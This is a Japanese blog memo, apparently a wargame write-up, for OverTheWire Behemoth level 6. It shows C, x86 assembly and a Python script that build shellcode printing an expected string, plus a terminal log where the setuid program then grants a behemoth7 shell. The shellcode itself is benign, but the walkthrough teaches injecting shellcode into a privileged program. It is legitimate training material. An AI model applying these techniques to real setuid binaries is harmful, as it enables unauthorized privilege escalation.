behemoth6めも

overthewireのbehemothのレベル6をクリアできたのでメモしときます。

この問題は脆弱性を突くタイプではなくて、特定の条件を満たすとshellが起動してクリアとなる問題でした。 これは実行するプログラムは/behemoth/behemoth6で、内部的には/behemoth/behemoth6_readerも実行されます。

behemoth6のほうは最初にpopen(2)でbehemoth6_readerを実行します。このとき、popen(2)の2番目の引数は"r"を指定しています。 behemoth6_readerはshellcode.txtというファイルを読み出し、読んだデータをシェルコードとして実行します。behemoth6_readerをcで書いたらだいたいこんな感じのことをやるコードです。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>

#define SHELL_TEXT "./shellcode.txt"

int main(int argc, char **argv)
{
        struct stat st;
        int ret;
        char *buf;
        FILE *fp;
        void (*f)(void);
        int i;

        ret = stat(SHELL_TEXT, &st);
        if (ret) {
                perror("stat");
                exit(-1);
        }

        printf("[*] shellcode size is %d bytes\n", st.st_size);

        buf = malloc(st.st_size);
        if (!buf) {
                perror("malloc");
                exit(-1);
        }

        fp = fopen(SHELL_TEXT, "rb");
        if (!fp) {
                perror("fopen");
                exit(-1);
        }

        fread(buf, st.st_size, 1, fp);

        fclose(fp);

        printf("[*] run shell\n");
        f = (void (*)(void))buf;
        f();

        return 0;
}

そして、behemoth6のほうはbehemoth6_readerからの出力を受け取ってstrcmp()でその文字列と期待値のチェックをしています。そして、シェルコードの出力と期待値が合えばexecl(3)で/bin/shを実行してくれます。そうするとbehemoth7ユーザーの権限でシェルが使えるので/etc/behemoth_pass/behemoth7が読めるというからくりです。なので、ここで使用するシェルコードはシェルを起動するコードではなくて、文字列を表示するシェルコードが必要になります。

今回は以下のシェルコードの元ネタをまず作りました。コンパイルgcc -nostdlib -m32 hello_kitty.sです。1ラベルにジャンプした後にcall命令で_helloに行くとpop命令で文字列のアドレスを取れます。これでwrite(2)に渡す文字列のアドレスを設定しています。

.code32

.text
.globl _start
_start:
        jmp 1f

_hello:
        xor %eax, %eax
        xor %ebx, %ebx
        xor %edx, %edx
        mov $0x04, %al
        mov $0x01, %bl
        mov $0x0a, %dl
        pop %ecx
        int $0x80

        mov $0x01, %al
        mov $0x00, %bl
        int $0x80

1:
        call _hello
        .ascii "HelloKitty\0"

あとはシェルコードの動作確認用コード。

#include <stdio.h>

/*
hello_kitty.s

.code32

.text
.globl _start
_start:
        jmp 1f

_hello:
        xor %eax, %eax
        xor %ebx, %ebx
        xor %edx, %edx
        mov $0x04, %al
        mov $0x01, %bl
        mov $0x0a, %dl
        pop %ecx
        int $0x80

        mov $0x01, %al
        mov $0x00, %bl
        int $0x80

1:
        call _hello
        .ascii "HelloKitty\0"



test:     file format elf32-i386


# objdump
Disassembly of section .text:

08048098 <_start>:
 8048098:       eb 15                   jmp    80480af <_hello+0x15>

0804809a <_hello>:
 804809a:       31 c0                   xor    %eax,%eax
 804809c:       31 db                   xor    %ebx,%ebx
 804809e:       31 d2                   xor    %edx,%edx
 80480a0:       b0 04                   mov    $0x4,%al
 80480a2:       b3 01                   mov    $0x1,%bl
 80480a4:       b2 0a                   mov    $0xa,%dl
 80480a6:       59                      pop    %ecx
 80480a7:       cd 80                   int    $0x80
 80480a9:       b0 01                   mov    $0x1,%al
 80480ab:       b3 00                   mov    $0x0,%bl
 80480ad:       cd 80                   int    $0x80
 80480af:       e8 e6 ff ff ff          call   804809a <_hello>
 80480b4:       48                      dec    %eax
 80480b5:       65 6c                   gs insb (%dx),%es:(%edi)
 80480b7:       6c                      insb   (%dx),%es:(%edi)
 80480b8:       6f                      outsl  %ds:(%esi),(%dx)
 80480b9:       4b                      dec    %ebx
 80480ba:       69                      .byte 0x69
 80480bb:       74 74                   je     8048131 <_hello+0x97>
 80480bd:       79 00                   jns    80480bf <_hello+0x25>
*/

char shellcode[] = "\xeb\x15"
"\x31\xc0"
"\x31\xdb"
"\x31\xd2"
"\xb0\x04"
"\xb3\x01"
"\xb2\x0a"
"\x59"
"\xcd\x80"
"\xb0\x01"
"\xb3\x00"
"\xcd\x80"
"\xe8\xe6\xff\xff\xff"
"HelloKitty\0";

int main(int argc, char **argv)
{
        void (*f)(void) = (void (*)(void)) shellcode;
        f();

        return 0;
}

それと、シェルコードをファイルに書き出すpythonスクリプトです。最終的にはこれをサーバで実行してshellcode.txtを作ってます。

#!/usr/bin/env python2

shellcode = "\xeb\x15\x31\xc0\x31\xdb\x31\xd2"
shellcode += "\xb0\x04\xb3\x01\xb2\x0a\x59\xcd\x80"
shellcode += "\xb0\x01\xb3\x00\xcd\x80"
shellcode += "\xe8\xe6\xff\xff\xff"
shellcode += "HelloKitty\0"

with open('shellcode.txt', 'wb') as f:
    f.write(shellcode)

print('[*] Done.')

このスクリプトを動かすとこのようになってクリアとなります(∩´∀`)∩ワーイ

behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ ./shell.py
[*] Done.
behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ id
uid=13006(behemoth6) gid=13006(behemoth6) groups=13006(behemoth6)
behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ /behemoth/behemoth6
Incorrect output.
behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ chmod 777 /tmp/tmp.nDpCHusXQC
behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ /behemoth/behemoth6
Correct.
$ id
uid=13006(behemoth6) gid=13006(behemoth6) euid=13007(behemoth7) groups=13007(behemoth7),13006(behemoth6)
$

まんがでわかるLinux シス管系女子 2(日経BP Next ICT選書)

まんがでわかるLinux シス管系女子 2(日経BP Next ICT選書)